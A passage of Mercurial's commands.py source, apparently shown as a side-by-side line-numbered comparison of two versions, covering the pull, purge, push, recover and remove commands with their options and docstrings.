5363 or URL and adds them to a local repository (the current one unless
5361 -R is specified). By default, this does not update the copy of the
5364 -R is specified). By default, this does not update the copy of the
5362 project in the working directory.
5365 project in the working directory.
5363
5366
5364 When cloning from servers that support it, Mercurial may fetch
5367 When cloning from servers that support it, Mercurial may fetch
5365 pre-generated data. When this is done, hooks operating on incoming
5368 pre-generated data. When this is done, hooks operating on incoming
5366 changesets and changegroups may fire more than once, once for each
5369 changesets and changegroups may fire more than once, once for each
5367 pre-generated bundle and as well as for any additional remaining
5370 pre-generated bundle and as well as for any additional remaining
5368 data. See :hg:`help -e clonebundles` for more.
5371 data. See :hg:`help -e clonebundles` for more.
5369
5372
5370 Use :hg:`incoming` if you want to see what would have been added
5373 Use :hg:`incoming` if you want to see what would have been added
5371 by a pull at the time you issued this command. If you then decide
5374 by a pull at the time you issued this command. If you then decide
5372 to add those changes to the repository, you should use :hg:`pull
5375 to add those changes to the repository, you should use :hg:`pull
5373 -r X` where ``X`` is the last changeset listed by :hg:`incoming`.
5376 -r X` where ``X`` is the last changeset listed by :hg:`incoming`.
5374
5377
5375 If SOURCE is omitted, the 'default' path will be used.
5378 If SOURCE is omitted, the 'default' path will be used.
5376 See :hg:`help urls` for more information.
5379 See :hg:`help urls` for more information.
5377
5380
5378 If multiple sources are specified, they will be pulled sequentially as if
5381 If multiple sources are specified, they will be pulled sequentially as if
5379 the command was run multiple time. If --update is specify and the command
5382 the command was run multiple time. If --update is specify and the command
5380 will stop at the first failed --update.
5383 will stop at the first failed --update.
5381
5384
5382 Specifying bookmark as ``.`` is equivalent to specifying the active
5385 Specifying bookmark as ``.`` is equivalent to specifying the active
5383 bookmark's name.
5386 bookmark's name.
5384
5387
5385 Returns 0 on success, 1 if an update had unresolved files.
5388 Returns 0 on success, 1 if an update had unresolved files.
5386 """
5389 """
5387
5390
5388 opts = pycompat.byteskwargs(opts)
5391 opts = pycompat.byteskwargs(opts)
5389 if ui.configbool(b'commands', b'update.requiredest') and opts.get(
5392 if ui.configbool(b'commands', b'update.requiredest') and opts.get(
5390 b'update'
5393 b'update'
5391 ):
5394 ):
5392 msg = _(b'update destination required by configuration')
5395 msg = _(b'update destination required by configuration')
5393 hint = _(b'use hg pull followed by hg update DEST')
5396 hint = _(b'use hg pull followed by hg update DEST')
5394 raise error.InputError(msg, hint=hint)
5397 raise error.InputError(msg, hint=hint)
5395
5398
5396 sources = urlutil.get_pull_paths(repo, ui, sources, opts.get(b'branch'))
5399 for path in urlutil.get_pull_paths(repo, ui, sources):
5397 for source, branches in sources:
5400 source, branches = urlutil.parseurl(path.rawloc, opts.get(b'branch'))
5398 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5401 ui.status(_(b'pulling from %s\n') % urlutil.hidepassword(source))
5399 ui.flush()
5402 ui.flush()
5400 other = hg.peer(repo, opts, source)
5403 other = hg.peer(repo, opts, source)
5401 update_conflict = None
5404 update_conflict = None
5402 try:
5405 try:
5403 revs, checkout = hg.addbranchrevs(
5406 revs, checkout = hg.addbranchrevs(
5404 repo, other, branches, opts.get(b'rev')
5407 repo, other, branches, opts.get(b'rev')
5405 )
5408 )
5406
5409
5407 pullopargs = {}
5410 pullopargs = {}
5408
5411
5409 nodes = None
5412 nodes = None
5410 if opts.get(b'bookmark') or revs:
5413 if opts.get(b'bookmark') or revs:
5411 # The list of bookmark used here is the same used to actually update
5414 # The list of bookmark used here is the same used to actually update
5412 # the bookmark names, to avoid the race from issue 4689 and we do
5415 # the bookmark names, to avoid the race from issue 4689 and we do
5413 # all lookup and bookmark queries in one go so they see the same
5416 # all lookup and bookmark queries in one go so they see the same
5414 # version of the server state (issue 4700).
5417 # version of the server state (issue 4700).
5415 nodes = []
5418 nodes = []
5416 fnodes = []
5419 fnodes = []
5417 revs = revs or []
5420 revs = revs or []
5418 if revs and not other.capable(b'lookup'):
5421 if revs and not other.capable(b'lookup'):
5419 err = _(
5422 err = _(
5420 b"other repository doesn't support revision lookup, "
5423 b"other repository doesn't support revision lookup, "
5421 b"so a rev cannot be specified."
5424 b"so a rev cannot be specified."
5422 )
5425 )
5423 raise error.Abort(err)
5426 raise error.Abort(err)
5424 with other.commandexecutor() as e:
5427 with other.commandexecutor() as e:
5425 fremotebookmarks = e.callcommand(
5428 fremotebookmarks = e.callcommand(
5426 b'listkeys', {b'namespace': b'bookmarks'}
5429 b'listkeys', {b'namespace': b'bookmarks'}
5427 )
5430 )
5428 for r in revs:
5431 for r in revs:
5429 fnodes.append(e.callcommand(b'lookup', {b'key': r}))
5432 fnodes.append(e.callcommand(b'lookup', {b'key': r}))
5430 remotebookmarks = fremotebookmarks.result()
5433 remotebookmarks = fremotebookmarks.result()
5431 remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks)
5434 remotebookmarks = bookmarks.unhexlifybookmarks(remotebookmarks)
5432 pullopargs[b'remotebookmarks'] = remotebookmarks
5435 pullopargs[b'remotebookmarks'] = remotebookmarks
5433 for b in opts.get(b'bookmark', []):
5436 for b in opts.get(b'bookmark', []):
5434 b = repo._bookmarks.expandname(b)
5437 b = repo._bookmarks.expandname(b)
5435 if b not in remotebookmarks:
5438 if b not in remotebookmarks:
5436 raise error.InputError(
5439 raise error.InputError(
5437 _(b'remote bookmark %s not found!') % b
5440 _(b'remote bookmark %s not found!') % b
5438 )
5441 )
5439 nodes.append(remotebookmarks[b])
5442 nodes.append(remotebookmarks[b])
5440 for i, rev in enumerate(revs):
5443 for i, rev in enumerate(revs):
5441 node = fnodes[i].result()
5444 node = fnodes[i].result()
5442 nodes.append(node)
5445 nodes.append(node)
5443 if rev == checkout:
5446 if rev == checkout:
5444 checkout = node
5447 checkout = node
5445
5448
5446 wlock = util.nullcontextmanager()
5449 wlock = util.nullcontextmanager()
5447 if opts.get(b'update'):
5450 if opts.get(b'update'):
5448 wlock = repo.wlock()
5451 wlock = repo.wlock()
5449 with wlock:
5452 with wlock:
5450 pullopargs.update(opts.get(b'opargs', {}))
5453 pullopargs.update(opts.get(b'opargs', {}))
5451 modheads = exchange.pull(
5454 modheads = exchange.pull(
5452 repo,
5455 repo,
5453 other,
5456 other,
5454 heads=nodes,
5457 heads=nodes,
5455 force=opts.get(b'force'),
5458 force=opts.get(b'force'),
5456 bookmarks=opts.get(b'bookmark', ()),
5459 bookmarks=opts.get(b'bookmark', ()),
5457 opargs=pullopargs,
5460 opargs=pullopargs,
5458 confirm=opts.get(b'confirm'),
5461 confirm=opts.get(b'confirm'),
5459 ).cgresult
5462 ).cgresult
5460
5463
5461 # brev is a name, which might be a bookmark to be activated at
5464 # brev is a name, which might be a bookmark to be activated at
5462 # the end of the update. In other words, it is an explicit
5465 # the end of the update. In other words, it is an explicit
5463 # destination of the update
5466 # destination of the update
5464 brev = None
5467 brev = None
5465
5468
5466 if checkout:
5469 if checkout:
5467 checkout = repo.unfiltered().changelog.rev(checkout)
5470 checkout = repo.unfiltered().changelog.rev(checkout)
5468
5471
5469 # order below depends on implementation of
5472 # order below depends on implementation of
5470 # hg.addbranchrevs(). opts['bookmark'] is ignored,
5473 # hg.addbranchrevs(). opts['bookmark'] is ignored,
5471 # because 'checkout' is determined without it.
5474 # because 'checkout' is determined without it.
5472 if opts.get(b'rev'):
5475 if opts.get(b'rev'):
5473 brev = opts[b'rev'][0]
5476 brev = opts[b'rev'][0]
5474 elif opts.get(b'branch'):
5477 elif opts.get(b'branch'):
5475 brev = opts[b'branch'][0]
5478 brev = opts[b'branch'][0]
5476 else:
5479 else:
5477 brev = branches[0]
5480 brev = branches[0]
5478 repo._subtoppath = source
5481 repo._subtoppath = source
5479 try:
5482 try:
5480 update_conflict = postincoming(
5483 update_conflict = postincoming(
5481 ui, repo, modheads, opts.get(b'update'), checkout, brev
5484 ui, repo, modheads, opts.get(b'update'), checkout, brev
5482 )
5485 )
5483 except error.FilteredRepoLookupError as exc:
5486 except error.FilteredRepoLookupError as exc:
5484 msg = _(b'cannot update to target: %s') % exc.args[0]
5487 msg = _(b'cannot update to target: %s') % exc.args[0]
5485 exc.args = (msg,) + exc.args[1:]
5488 exc.args = (msg,) + exc.args[1:]
5486 raise
5489 raise
5487 finally:
5490 finally:
5488 del repo._subtoppath
5491 del repo._subtoppath
5489
5492
5490 finally:
5493 finally:
5491 other.close()
5494 other.close()
5492 # skip the remaining pull source if they are some conflict.
5495 # skip the remaining pull source if they are some conflict.
5493 if update_conflict:
5496 if update_conflict:
5494 break
5497 break
5495 if update_conflict:
5498 if update_conflict:
5496 return 1
5499 return 1
5497 else:
5500 else:
5498 return 0
5501 return 0
5499
5502
5500
5503
5501 @command(
5504 @command(
5502 b'purge|clean',
5505 b'purge|clean',
5503 [
5506 [
5504 (b'a', b'abort-on-err', None, _(b'abort if an error occurs')),
5507 (b'a', b'abort-on-err', None, _(b'abort if an error occurs')),
5505 (b'', b'all', None, _(b'purge ignored files too')),
5508 (b'', b'all', None, _(b'purge ignored files too')),
5506 (b'i', b'ignored', None, _(b'purge only ignored files')),
5509 (b'i', b'ignored', None, _(b'purge only ignored files')),
5507 (b'', b'dirs', None, _(b'purge empty directories')),
5510 (b'', b'dirs', None, _(b'purge empty directories')),
5508 (b'', b'files', None, _(b'purge files')),
5511 (b'', b'files', None, _(b'purge files')),
5509 (b'p', b'print', None, _(b'print filenames instead of deleting them')),
5512 (b'p', b'print', None, _(b'print filenames instead of deleting them')),
5510 (
5513 (
5511 b'0',
5514 b'0',
5512 b'print0',
5515 b'print0',
5513 None,
5516 None,
5514 _(
5517 _(
5515 b'end filenames with NUL, for use with xargs'
5518 b'end filenames with NUL, for use with xargs'
5516 b' (implies -p/--print)'
5519 b' (implies -p/--print)'
5517 ),
5520 ),
5518 ),
5521 ),
5519 (b'', b'confirm', None, _(b'ask before permanently deleting files')),
5522 (b'', b'confirm', None, _(b'ask before permanently deleting files')),
5520 ]
5523 ]
5521 + cmdutil.walkopts,
5524 + cmdutil.walkopts,
5522 _(b'hg purge [OPTION]... [DIR]...'),
5525 _(b'hg purge [OPTION]... [DIR]...'),
5523 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5526 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5524 )
5527 )
5525 def purge(ui, repo, *dirs, **opts):
5528 def purge(ui, repo, *dirs, **opts):
5526 """removes files not tracked by Mercurial
5529 """removes files not tracked by Mercurial
5527
5530
5528 Delete files not known to Mercurial. This is useful to test local
5531 Delete files not known to Mercurial. This is useful to test local
5529 and uncommitted changes in an otherwise-clean source tree.
5532 and uncommitted changes in an otherwise-clean source tree.
5530
5533
5531 This means that purge will delete the following by default:
5534 This means that purge will delete the following by default:
5532
5535
5533 - Unknown files: files marked with "?" by :hg:`status`
5536 - Unknown files: files marked with "?" by :hg:`status`
5534 - Empty directories: in fact Mercurial ignores directories unless
5537 - Empty directories: in fact Mercurial ignores directories unless
5535 they contain files under source control management
5538 they contain files under source control management
5536
5539
5537 But it will leave untouched:
5540 But it will leave untouched:
5538
5541
5539 - Modified and unmodified tracked files
5542 - Modified and unmodified tracked files
5540 - Ignored files (unless -i or --all is specified)
5543 - Ignored files (unless -i or --all is specified)
5541 - New files added to the repository (with :hg:`add`)
5544 - New files added to the repository (with :hg:`add`)
5542
5545
5543 The --files and --dirs options can be used to direct purge to delete
5546 The --files and --dirs options can be used to direct purge to delete
5544 only files, only directories, or both. If neither option is given,
5547 only files, only directories, or both. If neither option is given,
5545 both will be deleted.
5548 both will be deleted.
5546
5549
5547 If directories are given on the command line, only files in these
5550 If directories are given on the command line, only files in these
5548 directories are considered.
5551 directories are considered.
5549
5552
5550 Be careful with purge, as you could irreversibly delete some files
5553 Be careful with purge, as you could irreversibly delete some files
5551 you forgot to add to the repository. If you only want to print the
5554 you forgot to add to the repository. If you only want to print the
5552 list of files that this program would delete, use the --print
5555 list of files that this program would delete, use the --print
5553 option.
5556 option.
5554 """
5557 """
5555 opts = pycompat.byteskwargs(opts)
5558 opts = pycompat.byteskwargs(opts)
5556 cmdutil.check_at_most_one_arg(opts, b'all', b'ignored')
5559 cmdutil.check_at_most_one_arg(opts, b'all', b'ignored')
5557
5560
5558 act = not opts.get(b'print')
5561 act = not opts.get(b'print')
5559 eol = b'\n'
5562 eol = b'\n'
5560 if opts.get(b'print0'):
5563 if opts.get(b'print0'):
5561 eol = b'\0'
5564 eol = b'\0'
5562 act = False # --print0 implies --print
5565 act = False # --print0 implies --print
5563 if opts.get(b'all', False):
5566 if opts.get(b'all', False):
5564 ignored = True
5567 ignored = True
5565 unknown = True
5568 unknown = True
5566 else:
5569 else:
5567 ignored = opts.get(b'ignored', False)
5570 ignored = opts.get(b'ignored', False)
5568 unknown = not ignored
5571 unknown = not ignored
5569
5572
5570 removefiles = opts.get(b'files')
5573 removefiles = opts.get(b'files')
5571 removedirs = opts.get(b'dirs')
5574 removedirs = opts.get(b'dirs')
5572 confirm = opts.get(b'confirm')
5575 confirm = opts.get(b'confirm')
5573 if confirm is None:
5576 if confirm is None:
5574 try:
5577 try:
5575 extensions.find(b'purge')
5578 extensions.find(b'purge')
5576 confirm = False
5579 confirm = False
5577 except KeyError:
5580 except KeyError:
5578 confirm = True
5581 confirm = True
5579
5582
5580 if not removefiles and not removedirs:
5583 if not removefiles and not removedirs:
5581 removefiles = True
5584 removefiles = True
5582 removedirs = True
5585 removedirs = True
5583
5586
5584 match = scmutil.match(repo[None], dirs, opts)
5587 match = scmutil.match(repo[None], dirs, opts)
5585
5588
5586 paths = mergemod.purge(
5589 paths = mergemod.purge(
5587 repo,
5590 repo,
5588 match,
5591 match,
5589 unknown=unknown,
5592 unknown=unknown,
5590 ignored=ignored,
5593 ignored=ignored,
5591 removeemptydirs=removedirs,
5594 removeemptydirs=removedirs,
5592 removefiles=removefiles,
5595 removefiles=removefiles,
5593 abortonerror=opts.get(b'abort_on_err'),
5596 abortonerror=opts.get(b'abort_on_err'),
5594 noop=not act,
5597 noop=not act,
5595 confirm=confirm,
5598 confirm=confirm,
5596 )
5599 )
5597
5600
5598 for path in paths:
5601 for path in paths:
5599 if not act:
5602 if not act:
5600 ui.write(b'%s%s' % (path, eol))
5603 ui.write(b'%s%s' % (path, eol))
5601
5604
5602
5605
5603 @command(
5606 @command(
5604 b'push',
5607 b'push',
5605 [
5608 [
5606 (b'f', b'force', None, _(b'force push')),
5609 (b'f', b'force', None, _(b'force push')),
5607 (
5610 (
5608 b'r',
5611 b'r',
5609 b'rev',
5612 b'rev',
5610 [],
5613 [],
5611 _(b'a changeset intended to be included in the destination'),
5614 _(b'a changeset intended to be included in the destination'),
5612 _(b'REV'),
5615 _(b'REV'),
5613 ),
5616 ),
5614 (b'B', b'bookmark', [], _(b"bookmark to push"), _(b'BOOKMARK')),
5617 (b'B', b'bookmark', [], _(b"bookmark to push"), _(b'BOOKMARK')),
5615 (b'', b'all-bookmarks', None, _(b"push all bookmarks (EXPERIMENTAL)")),
5618 (b'', b'all-bookmarks', None, _(b"push all bookmarks (EXPERIMENTAL)")),
5616 (
5619 (
5617 b'b',
5620 b'b',
5618 b'branch',
5621 b'branch',
5619 [],
5622 [],
5620 _(b'a specific branch you would like to push'),
5623 _(b'a specific branch you would like to push'),
5621 _(b'BRANCH'),
5624 _(b'BRANCH'),
5622 ),
5625 ),
5623 (b'', b'new-branch', False, _(b'allow pushing a new branch')),
5626 (b'', b'new-branch', False, _(b'allow pushing a new branch')),
5624 (
5627 (
5625 b'',
5628 b'',
5626 b'pushvars',
5629 b'pushvars',
5627 [],
5630 [],
5628 _(b'variables that can be sent to server (ADVANCED)'),
5631 _(b'variables that can be sent to server (ADVANCED)'),
5629 ),
5632 ),
5630 (
5633 (
5631 b'',
5634 b'',
5632 b'publish',
5635 b'publish',
5633 False,
5636 False,
5634 _(b'push the changeset as public (EXPERIMENTAL)'),
5637 _(b'push the changeset as public (EXPERIMENTAL)'),
5635 ),
5638 ),
5636 ]
5639 ]
5637 + remoteopts,
5640 + remoteopts,
5638 _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'),
5641 _(b'[-f] [-r REV]... [-e CMD] [--remotecmd CMD] [DEST]...'),
5639 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5642 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
5640 helpbasic=True,
5643 helpbasic=True,
5641 )
5644 )
5642 def push(ui, repo, *dests, **opts):
5645 def push(ui, repo, *dests, **opts):
5643 """push changes to the specified destination
5646 """push changes to the specified destination
5644
5647
5645 Push changesets from the local repository to the specified
5648 Push changesets from the local repository to the specified
5646 destination.
5649 destination.
5647
5650
5648 This operation is symmetrical to pull: it is identical to a pull
5651 This operation is symmetrical to pull: it is identical to a pull
5649 in the destination repository from the current one.
5652 in the destination repository from the current one.
5650
5653
5651 By default, push will not allow creation of new heads at the
5654 By default, push will not allow creation of new heads at the
5652 destination, since multiple heads would make it unclear which head
5655 destination, since multiple heads would make it unclear which head
5653 to use. In this situation, it is recommended to pull and merge
5656 to use. In this situation, it is recommended to pull and merge
5654 before pushing.
5657 before pushing.
5655
5658
5656 Use --new-branch if you want to allow push to create a new named
5659 Use --new-branch if you want to allow push to create a new named
5657 branch that is not present at the destination. This allows you to
5660 branch that is not present at the destination. This allows you to
5658 only create a new branch without forcing other changes.
5661 only create a new branch without forcing other changes.
5659
5662
5660 .. note::
5663 .. note::
5661
5664
5662 Extra care should be taken with the -f/--force option,
5665 Extra care should be taken with the -f/--force option,
5663 which will push all new heads on all branches, an action which will
5666 which will push all new heads on all branches, an action which will
5664 almost always cause confusion for collaborators.
5667 almost always cause confusion for collaborators.
5665
5668
5666 If -r/--rev is used, the specified revision and all its ancestors
5669 If -r/--rev is used, the specified revision and all its ancestors
5667 will be pushed to the remote repository.
5670 will be pushed to the remote repository.
5668
5671
5669 If -B/--bookmark is used, the specified bookmarked revision, its
5672 If -B/--bookmark is used, the specified bookmarked revision, its
5670 ancestors, and the bookmark will be pushed to the remote
5673 ancestors, and the bookmark will be pushed to the remote
5671 repository. Specifying ``.`` is equivalent to specifying the active
5674 repository. Specifying ``.`` is equivalent to specifying the active
5672 bookmark's name. Use the --all-bookmarks option for pushing all
5675 bookmark's name. Use the --all-bookmarks option for pushing all
5673 current bookmarks.
5676 current bookmarks.
5674
5677
5675 Please see :hg:`help urls` for important details about ``ssh://``
5678 Please see :hg:`help urls` for important details about ``ssh://``
5676 URLs. If DESTINATION is omitted, a default path will be used.
5679 URLs. If DESTINATION is omitted, a default path will be used.
5677
5680
5678 When passed multiple destinations, push will process them one after the
5681 When passed multiple destinations, push will process them one after the
5679 other, but stop should an error occur.
5682 other, but stop should an error occur.
5680
5683
5681 .. container:: verbose
5684 .. container:: verbose
5682
5685
5683 The --pushvars option sends strings to the server that become
5686 The --pushvars option sends strings to the server that become
5684 environment variables prepended with ``HG_USERVAR_``. For example,
5687 environment variables prepended with ``HG_USERVAR_``. For example,
5685 ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
5688 ``--pushvars ENABLE_FEATURE=true``, provides the server side hooks with
5686 ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
5689 ``HG_USERVAR_ENABLE_FEATURE=true`` as part of their environment.
5687
5690
5688 pushvars can provide for user-overridable hooks as well as set debug
5691 pushvars can provide for user-overridable hooks as well as set debug
5689 levels. One example is having a hook that blocks commits containing
5692 levels. One example is having a hook that blocks commits containing
5690 conflict markers, but enables the user to override the hook if the file
5693 conflict markers, but enables the user to override the hook if the file
5691 is using conflict markers for testing purposes or the file format has
5694 is using conflict markers for testing purposes or the file format has
5692 strings that look like conflict markers.
5695 strings that look like conflict markers.
5693
5696
5694 By default, servers will ignore `--pushvars`. To enable it add the
5697 By default, servers will ignore `--pushvars`. To enable it add the
5695 following to your configuration file::
5698 following to your configuration file::
5696
5699
5697 [push]
5700 [push]
5698 pushvars.server = true
5701 pushvars.server = true
5699
5702
5700 Returns 0 if push was successful, 1 if nothing to push.
5703 Returns 0 if push was successful, 1 if nothing to push.
5701 """
5704 """
5702
5705
5703 opts = pycompat.byteskwargs(opts)
5706 opts = pycompat.byteskwargs(opts)
5704
5707
5705 if opts.get(b'all_bookmarks'):
5708 if opts.get(b'all_bookmarks'):
5706 cmdutil.check_incompatible_arguments(
5709 cmdutil.check_incompatible_arguments(
5707 opts,
5710 opts,
5708 b'all_bookmarks',
5711 b'all_bookmarks',
5709 [b'bookmark', b'rev'],
5712 [b'bookmark', b'rev'],
5710 )
5713 )
5711 opts[b'bookmark'] = list(repo._bookmarks)
5714 opts[b'bookmark'] = list(repo._bookmarks)
5712
5715
5713 if opts.get(b'bookmark'):
5716 if opts.get(b'bookmark'):
5714 ui.setconfig(b'bookmarks', b'pushing', opts[b'bookmark'], b'push')
5717 ui.setconfig(b'bookmarks', b'pushing', opts[b'bookmark'], b'push')
5715 for b in opts[b'bookmark']:
5718 for b in opts[b'bookmark']:
5716 # translate -B options to -r so changesets get pushed
5719 # translate -B options to -r so changesets get pushed
5717 b = repo._bookmarks.expandname(b)
5720 b = repo._bookmarks.expandname(b)
5718 if b in repo._bookmarks:
5721 if b in repo._bookmarks:
5719 opts.setdefault(b'rev', []).append(b)
5722 opts.setdefault(b'rev', []).append(b)
5720 else:
5723 else:
5721 # if we try to push a deleted bookmark, translate it to null
5724 # if we try to push a deleted bookmark, translate it to null
5722 # this lets simultaneous -r, -b options continue working
5725 # this lets simultaneous -r, -b options continue working
5723 opts.setdefault(b'rev', []).append(b"null")
5726 opts.setdefault(b'rev', []).append(b"null")
5724
5727
5725 some_pushed = False
5728 some_pushed = False
5726 result = 0
5729 result = 0
5727 for path in urlutil.get_push_paths(repo, ui, dests):
5730 for path in urlutil.get_push_paths(repo, ui, dests):
5728 dest = path.pushloc or path.loc
5731 dest = path.pushloc or path.loc
5729 branches = (path.branch, opts.get(b'branch') or [])
5732 branches = (path.branch, opts.get(b'branch') or [])
5730 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5733 ui.status(_(b'pushing to %s\n') % urlutil.hidepassword(dest))
5731 revs, checkout = hg.addbranchrevs(
5734 revs, checkout = hg.addbranchrevs(
5732 repo, repo, branches, opts.get(b'rev')
5735 repo, repo, branches, opts.get(b'rev')
5733 )
5736 )
5734 other = hg.peer(repo, opts, dest)
5737 other = hg.peer(repo, opts, dest)
5735
5738
5736 try:
5739 try:
5737 if revs:
5740 if revs:
5738 revs = [repo[r].node() for r in logcmdutil.revrange(repo, revs)]
5741 revs = [repo[r].node() for r in logcmdutil.revrange(repo, revs)]
5739 if not revs:
5742 if not revs:
5740 raise error.InputError(
5743 raise error.InputError(
5741 _(b"specified revisions evaluate to an empty set"),
5744 _(b"specified revisions evaluate to an empty set"),
5742 hint=_(b"use different revision arguments"),
5745 hint=_(b"use different revision arguments"),
5743 )
5746 )
5744 elif path.pushrev:
5747 elif path.pushrev:
5745 # It doesn't make any sense to specify ancestor revisions. So limit
5748 # It doesn't make any sense to specify ancestor revisions. So limit
5746 # to DAG heads to make discovery simpler.
5749 # to DAG heads to make discovery simpler.
5747 expr = revsetlang.formatspec(b'heads(%r)', path.pushrev)
5750 expr = revsetlang.formatspec(b'heads(%r)', path.pushrev)
5748 revs = scmutil.revrange(repo, [expr])
5751 revs = scmutil.revrange(repo, [expr])
5749 revs = [repo[rev].node() for rev in revs]
5752 revs = [repo[rev].node() for rev in revs]
5750 if not revs:
5753 if not revs:
5751 raise error.InputError(
5754 raise error.InputError(
5752 _(
5755 _(
5753 b'default push revset for path evaluates to an empty set'
5756 b'default push revset for path evaluates to an empty set'
5754 )
5757 )
5755 )
5758 )
5756 elif ui.configbool(b'commands', b'push.require-revs'):
5759 elif ui.configbool(b'commands', b'push.require-revs'):
5757 raise error.InputError(
5760 raise error.InputError(
5758 _(b'no revisions specified to push'),
5761 _(b'no revisions specified to push'),
5759 hint=_(b'did you mean "hg push -r ."?'),
5762 hint=_(b'did you mean "hg push -r ."?'),
5760 )
5763 )
5761
5764
5762 repo._subtoppath = dest
5765 repo._subtoppath = dest
5763 try:
5766 try:
5764 # push subrepos depth-first for coherent ordering
5767 # push subrepos depth-first for coherent ordering
5765 c = repo[b'.']
5768 c = repo[b'.']
5766 subs = c.substate # only repos that are committed
5769 subs = c.substate # only repos that are committed
5767 for s in sorted(subs):
5770 for s in sorted(subs):
5768 sub_result = c.sub(s).push(opts)
5771 sub_result = c.sub(s).push(opts)
5769 if sub_result == 0:
5772 if sub_result == 0:
5770 return 1
5773 return 1
5771 finally:
5774 finally:
5772 del repo._subtoppath
5775 del repo._subtoppath
5773
5776
5774 opargs = dict(
5777 opargs = dict(
5775 opts.get(b'opargs', {})
5778 opts.get(b'opargs', {})
5776 ) # copy opargs since we may mutate it
5779 ) # copy opargs since we may mutate it
5777 opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', []))
5780 opargs.setdefault(b'pushvars', []).extend(opts.get(b'pushvars', []))
5778
5781
5779 pushop = exchange.push(
5782 pushop = exchange.push(
5780 repo,
5783 repo,
5781 other,
5784 other,
5782 opts.get(b'force'),
5785 opts.get(b'force'),
5783 revs=revs,
5786 revs=revs,
5784 newbranch=opts.get(b'new_branch'),
5787 newbranch=opts.get(b'new_branch'),
5785 bookmarks=opts.get(b'bookmark', ()),
5788 bookmarks=opts.get(b'bookmark', ()),
5786 publish=opts.get(b'publish'),
5789 publish=opts.get(b'publish'),
5787 opargs=opargs,
5790 opargs=opargs,
5788 )
5791 )
5789
5792
5790 if pushop.cgresult == 0:
5793 if pushop.cgresult == 0:
5791 result = 1
5794 result = 1
5792 elif pushop.cgresult is not None:
5795 elif pushop.cgresult is not None:
5793 some_pushed = True
5796 some_pushed = True
5794
5797
5795 if pushop.bkresult is not None:
5798 if pushop.bkresult is not None:
5796 if pushop.bkresult == 2:
5799 if pushop.bkresult == 2:
5797 result = 2
5800 result = 2
5798 elif not result and pushop.bkresult:
5801 elif not result and pushop.bkresult:
5799 result = 2
5802 result = 2
5800
5803
5801 if result:
5804 if result:
5802 break
5805 break
5803
5806
5804 finally:
5807 finally:
5805 other.close()
5808 other.close()
5806 if result == 0 and not some_pushed:
5809 if result == 0 and not some_pushed:
5807 result = 1
5810 result = 1
5808 return result
5811 return result
5809
5812
5810
5813
5811 @command(
5814 @command(
5812 b'recover',
5815 b'recover',
5813 [
5816 [
5814 (b'', b'verify', False, b"run `hg verify` after successful recover"),
5817 (b'', b'verify', False, b"run `hg verify` after successful recover"),
5815 ],
5818 ],
5816 helpcategory=command.CATEGORY_MAINTENANCE,
5819 helpcategory=command.CATEGORY_MAINTENANCE,
5817 )
5820 )
5818 def recover(ui, repo, **opts):
5821 def recover(ui, repo, **opts):
5819 """roll back an interrupted transaction
5822 """roll back an interrupted transaction
5820
5823
5821 Recover from an interrupted commit or pull.
5824 Recover from an interrupted commit or pull.
5822
5825
5823 This command tries to fix the repository status after an
5826 This command tries to fix the repository status after an
5824 interrupted operation. It should only be necessary when Mercurial
5827 interrupted operation. It should only be necessary when Mercurial
5825 suggests it.
5828 suggests it.
5826
5829
5827 Returns 0 if successful, 1 if nothing to recover or verify fails.
5830 Returns 0 if successful, 1 if nothing to recover or verify fails.
5828 """
5831 """
5829 ret = repo.recover()
5832 ret = repo.recover()
5830 if ret:
5833 if ret:
5831 if opts['verify']:
5834 if opts['verify']:
5832 return hg.verify(repo)
5835 return hg.verify(repo)
5833 else:
5836 else:
5834 msg = _(
5837 msg = _(
5835 b"(verify step skipped, run `hg verify` to check your "
5838 b"(verify step skipped, run `hg verify` to check your "
5836 b"repository content)\n"
5839 b"repository content)\n"
5837 )
5840 )
5838 ui.warn(msg)
5841 ui.warn(msg)
5839 return 0
5842 return 0
5840 return 1
5843 return 1
5841
5844
5842
5845
5843 @command(
5846 @command(
5844 b'remove|rm',
5847 b'remove|rm',
5845 [
5848 [
5846 (b'A', b'after', None, _(b'record delete for missing files')),
5849 (b'A', b'after', None, _(b'record delete for missing files')),
5847 (b'f', b'force', None, _(b'forget added files, delete modified files')),
5850 (b'f', b'force', None, _(b'forget added files, delete modified files')),
5848 ]
5851 ]
5849 + subrepoopts
5852 + subrepoopts
5850 + walkopts
5853 + walkopts
5851 + dryrunopts,
5854 + dryrunopts,
5852 _(b'[OPTION]... FILE...'),
5855 _(b'[OPTION]... FILE...'),
5853 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5856 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
5854 helpbasic=True,
5857 helpbasic=True,
5855 inferrepo=True,
5858 inferrepo=True,
5856 )
5859 )
5857 def remove(ui, repo, *pats, **opts):
5860 def remove(ui, repo, *pats, **opts):
5858 """remove the specified files on the next commit
5861 """remove the specified files on the next commit
5859
5862
5860 Schedule the indicated files for removal from the current branch.
5863 Schedule the indicated files for removal from the current branch.
5861
5864
5862 This command schedules the files to be removed at the next commit.
5865 This command schedules the files to be removed at the next commit.
5863 To undo a remove before that, see :hg:`revert`. To undo added
5866 To undo a remove before that, see :hg:`revert`. To undo added
5864 files, see :hg:`forget`.
5867 files, see :hg:`forget`.
5865
5868
5866 .. container:: verbose
5869 .. container:: verbose
5867
5870
5868 -A/--after can be used to remove only files that have already
5871 -A/--after can be used to remove only files that have already
5869 been deleted, -f/--force can be used to force deletion, and -Af
5872 been deleted, -f/--force can be used to force deletion, and -Af
5870 can be used to remove files from the next revision without
5873 can be used to remove files from the next revision without
5871 deleting them from the working directory.
5874 deleting them from the working directory.
5872
5875
5873 The following table details the behavior of remove for different
5876 The following table details the behavior of remove for different
5874 file states (columns) and option combinations (rows). The file
5877 file states (columns) and option combinations (rows). The file
5875 states are Added [A], Clean [C], Modified [M] and Missing [!]
5878 states are Added [A], Clean [C], Modified [M] and Missing [!]
